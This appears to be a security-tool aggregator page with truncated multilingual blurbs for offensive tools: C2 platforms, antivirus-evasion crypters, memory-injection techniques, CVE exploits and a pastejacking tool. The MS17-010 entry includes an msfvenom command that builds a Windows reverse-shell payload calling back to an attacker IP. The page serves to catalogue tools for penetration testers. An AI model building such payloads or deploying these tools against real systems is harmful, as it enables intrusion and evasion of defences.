Cheshire

Cheshire LitterBox を基盤とした Adaptix 向けペイロード事前検証。 Cheshire は Adaptix C2 サービスプラグインであり、Adaptix クライアントと LitterBox サンドボックスを橋渡しします。 Adaptix UI 内から、オペレーターは任意のバイナリを選択し、LitterBox の完全な アナライザチェーン（静的解析 + 動的解析 + 到達可能なすべての EDR プロファイル）に ディスパッチして、Adaptix から離れることなく判定結果が現れるのを確認できます。 名称はプロジェクトのマスコットの系譜に従っています: Adapti...

ModuleShifting

ModuleShifting 이 도구는 2023 x33fcon 발표: "메모리 인젝션 기법의 은밀성 개선" 비디오 블로그 포스트 에서 발표되었습니다. 무엇인가요 ModuleShifting은 Module Stomping 및 Module Overloading 인젝션 기법보다 더 은밀한 변형입니다. 실제로 Python ctypes로 구현되어 Python 인터프리터와 Pyramid를 통해 완전히 메모리 내에서 실행될 수 있으므로, 컴파일된 로더를 사용할 필요가 없습니다. 이 기법은 PE 또는 셸코드 페이로드와 함께 사용할 수 있지만, ...

Anti-Virus-Evading-Payloads

🚩 Anti-Virus-Evading-Payloads !CAUTION...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker msfvenom을 사용하여 페이로드 생성: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: 페이로드Windows용 역방향 TCP 셸를 지정합니다. LHOST=10.10.14.4: 공격자의 IP 주소대상이 연결할 주소입니다. LPORT=443: 공격자 시스템에서...

fireELF

fireELF fireELF는 파일 없는 리눅스 악성코드 프레임워크로, 크로스플랫폼이며 사용자가 쉽게 페이로드를 생성하고 관리할 수 있습니다. 기본적으로 'memfdcreate'가 포함되어 있으며, 이는 바이너리가 하드디스크에 닿지 않고 메모리에서 완전히 리눅스 ELF 실행 파일을 실행할 수 있는 새로운 방법입니다. 스크린샷 기능 페이로드 선택 및 빌드 페이로드 축소 기능 페이로드 소스를 pastebin에 업로드하여 페이로드를 단축하는 기능, 그러면 python = 2.7과 호환되는 매우 작은 스테이저를 생성하여 손쉬운 배포가...

Supershell

Supershell是一个通过WEB服务访问的C2远控平台，通过建立反向SSH隧道，获取完全交互式Shell，支持多平台架构Payload 功能特点 • 支持平台 • 架构图 • 快速构建 • 使用文档 • 部分功能演示 • 免责声明 • 致谢 简体中文 • English 在常规渗透测试和比赛中，反弹shell时是否在为 Ctrl + C 意外关闭Shell而发愁？是否在为执行一些交互式脚本而苦恼？常规的反弹Shell往往只是命令的执行和结果的响应，这样的Shell通常缺少便利的功能，例如完全交互式访问、TAB补全、交互程序的执行和历史记录等功能。...

CVE-2019-16941

CVE-2019-16941 概念验证： 该漏洞需要多个且相对不大可能同时满足的条件才能被触发，这一事实限制了其可利用性。然而，考虑到它可能导致任意代码执行，构建有效载荷所需的努力和理解很少。 创建有效载荷： 为了创建要在目标上运行的有效载荷，可以使用 Ghidra 内置的一个脚本。要访问它，请点击“窗口”-“脚本管理器”，然后在您已添加到代码浏览器的任意二进制文件上运行“DumpFunctionPatternInfoScript.java”，使用默认参数（但请确保要保存输出的文件夹路径存在）。此脚本会生成一个 XML 输出文件，该文件之后将被加载到易受攻击的组件中。 此 XML...

DigiDuck-Framework

DigiDuck Framework ATTiny85 프로세서와 micronucleus 부트로더를 사용하는 Digiduck 개발 보드를 위한 프레임워크! alt text DDF 시작 화면 스크린샷 로드맵: 프레임워크 내에서 Duckyspark 변환을 위한 명령어 구현 계획. 요구 사항: - ATTiny85 또는 기타 호환 "Digispark" 개발 보드 - DigiSpark 드라이버 Arduino에서 사용할 수 있다면 문제없습니다. - OSX 또는 MacOS - Digispark 라이브러리가 설치된 ArduinoIDE...

Root-My-Galaxy-Payloads

Root My Galaxy ペイロード このリポジトリには、Root My Galaxy のデバイス固有のネイティブ側が含まれています： 正確なファームウェアプロファイルとオフセット； アプリドメインの CVE-2026-43499 エクスプロイトのソースとコンパイル済みペイロード； アプリブートストラップヘルパーのソース； 検証済みの KernelSU レイトロードビルド成果物； アプリケーションが消費するサポートフィード。 Android アプリケーションのソースコードは意図的に含まれていません。 対応ペイロード ペイロード| 対応モデル| カーネルバージョン| ステータス...

avet

안티바이러스 우회 도구 AVET는 기술 발전 및 시간 제약으로 인해 더 이상 개발되지 않습니다. AVET는 침투 테스터의 작업을 더 쉽게 만들고 안티바이러스 우회 기술 및 악성 소프트웨어에서 사용되는 기타 방법을 실험하기 위해 개발된 안티바이러스 우회 도구입니다. v2.4 의 새로운 기능 및 이전 버전 변경 사항에 대한 개요는 CHANGELOG 파일을 참조하세요. 목차 설치 Docker 간편한 AVET 일반적인 AVET 문서 클릭하여 펼치기 데이터 검색 방법 암호화 및 인코딩 샌드박스 우회 추가 명령 실행 도우미 도구 AVET...

mouseserver-exploit

Mobile Mouse 3.6.0.4 RCE - 修正版 Mobile Mouse 3.6.0.4 のリモートコード実行エクスプロイトの修正版で、EDB-51010 として公開されています。 脆弱性 CVE: CVE-2023-31902 影響を受けるバージョン: Mobile Mouse 3.6.0.4 デフォルトポート: TCP/9099 修正内容 元のエクスプロイトはペイロードのダウンロードには成功しますが、両方のステージが同じ TCP 接続を使用するため、実行に失敗する可能性があります。 この修正版では以下の処理を行います: 最初のセッションを通じてペイロードをダウンロード...

CVE-2026-56164-EXP

Microsoft SharePoint Server 权限提升 - CVE-2026-56164 功能完整的未授权 EOP 漏洞利用。 概述 SharePoint Server 用户配置文件和网站集端点缺少关键功能身份验证 CWE-306。允许远程攻击者从匿名用户升级到网站集管理员/场管理员级别。 通过在 /vtibin/client.svc 上发送特制的 SOAP 有效载荷来绕过身份验证网关。 受影响版本 SharePoint Server Subscription Edition 16.0.19725.20434 SharePoint Server 2019...

EvilDroid

EvilDroid：CVE-2024-0044 自动化漏洞利用工具 EvilDroid 是一款专为 CVE-2024-0044 漏洞自动化利用而设计的先进工具。该脚本通过自动化载荷部署与 APK 安装，简化了利用易受攻击的 Android 应用程序的过程。 概述 EvilDroid 使 CVE-2024-0044 漏洞的利用过程自动化，在目标设备上安装恶意载荷并提取敏感数据。它具备自动化的 ADB 连接检查、APK 推送、UID 提取、载荷生成以及实时进度更新等功能，提供流畅且专业的用户体验。 功能特性 自动化 APK 安装 ：将 APK 文件推送并安装到目标设备。 载荷执行...

CVE-2024-32370

CVE-2024-32370 脆弱性の説明 問題 HSC Cybersecurity HSC Mailinspector バージョン 5.2.17-3 に問題が特定されました。これにより、リモートの攻撃者は mliSystemUsers.php コンポーネントの id パラメータに細工されたペイロードを送信することで、機密情報を取得できる可能性があります。 脆弱なコンポーネント コンポーネント: mliSystemUsers.php バージョン: 5.2.17-3 から 5.2.18 まで 脆弱なパラメータ パラメータ: id ペイロード:...

Lucky-Spark

LUCKY-SPARK ⟪ LUCKY-SPARK ⟫ は、HTTP/HTTPS（Sliver や GitHub の raw など）でステージングされたシェルコードペイロード向けに設計されたステージャーです。最新の難読化と回避手法（スライディングウィンドウによるペイロードのジャストインタイム復号、CPU 命令パッチなど）を使用しています。デフォルトでは、FileZilla FTP クライアントを装った実行ファイルを作成します。 特徴 ステージングされた Sliver ペイロードローダー 指定されたサーバーから Sliver ペイロードをダウンロードして実行します。 JIT シェルコード復...

CVE-2024-21006_jar

CVE-2024-21006jar expコード参照：https://github.com/momika233/CVE-2024-21006 ここではソースコードをコンパイルしてjarパッケージにし、使いやすくしています。libディレクトリには依存ファイルがあります。ソースコードを修正したい場合は、自分でコンパイルしてください。 使い方 root@kitploit: java -jar CVE-2024-21006.jar dadvlingd師匠のプロジェクトを参考に、bindランダム文字列を使用し、ペイロードが一度しか実行できない問題を解決しました。 参考...

PasteJacker

PasteJacker 이 도구의 주요 목적은 PasteJacking/Clipboard poisoning/뭐라고 부르든 공격을 자동화하고, 이 공격에 사용되는 모든 알려진 트릭을 한 곳에 모아 하나의 자동화 작업으로 처리하는 것입니다. 검색해보니 이 작업을 제대로 수행하는 도구가 없었기 때문입니다 😄 이제 이 공격은 사용자가 무엇을 붙여넣을지에 달려 있기 때문에, Metasploit의 web-delivery 모듈 아이디어를 도구에 구현했습니다. 사용자가 터미널에 붙여넣으면 상대방 기기에서 meterpreter 세션을 얻을 수...

ASWCrypter

ASWCrypter 스크립트 v1.0 100% FUD에 오신 것을 환영합니다 현재까지 모든 안티바이러스를 우회하는 페이로드를 생성하는 Bash 및 Python 스크립트 FUD ; . 백도어를 WWW.VIRUSTOTAL.COM에 업로드하지 마십시오. 23/08/2018 중요 이 버전은 테스트용입니다. 앞으로 ASWCrypter를 업데이트하여 Linux, Mac, Windows용 페이로드를 생성할 예정입니다. ; 법적 고지: 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다. 이는 오직 교육 목적으로만 사용해야 합니다. ...

spring4shell-scan

spring4shell-scan Spring4Shell 및 Spring Cloud RCE 취약점을 찾기 위한 완전 자동화된 신뢰할 수 있는 정확한 스캐너 기능 URL 목록 지원 10개 이상의 새로운 Spring4Shell 페이로드 퍼징 기존 도구는 12개 변형만 사용 HTTP GET 및 POST 메서드 퍼징 취약점 발견 시 자동 검증 무작위 및 비침입적 페이로드 WAF 우회 페이로드 설명...

pwndrop

pwndrop 은 레드팀 페이로드를 전송하거나 개인 파일을 HTTP 및 WebDAV를 통해 안전하게 공유하기 위한 자체 배포형 파일 호스팅 서비스입니다. 만약 파일을 호스팅하기 위해 빠르게 nginx/apache 웹 서버를 설정해야 했고, python -m SimpleHTTPServer의 제한에 항상 만족하지 못했다면, pwndrop 이 바로 당신을 위한 도구입니다! pwndrop 으로 다음을 할 수 있습니다: 드래그 앤 드롭을 사용하여 개인 VPS에 여러 파일을 업로드하고 즉시 공유합니다. 클릭 한 번으로 파일을 다운로드 가...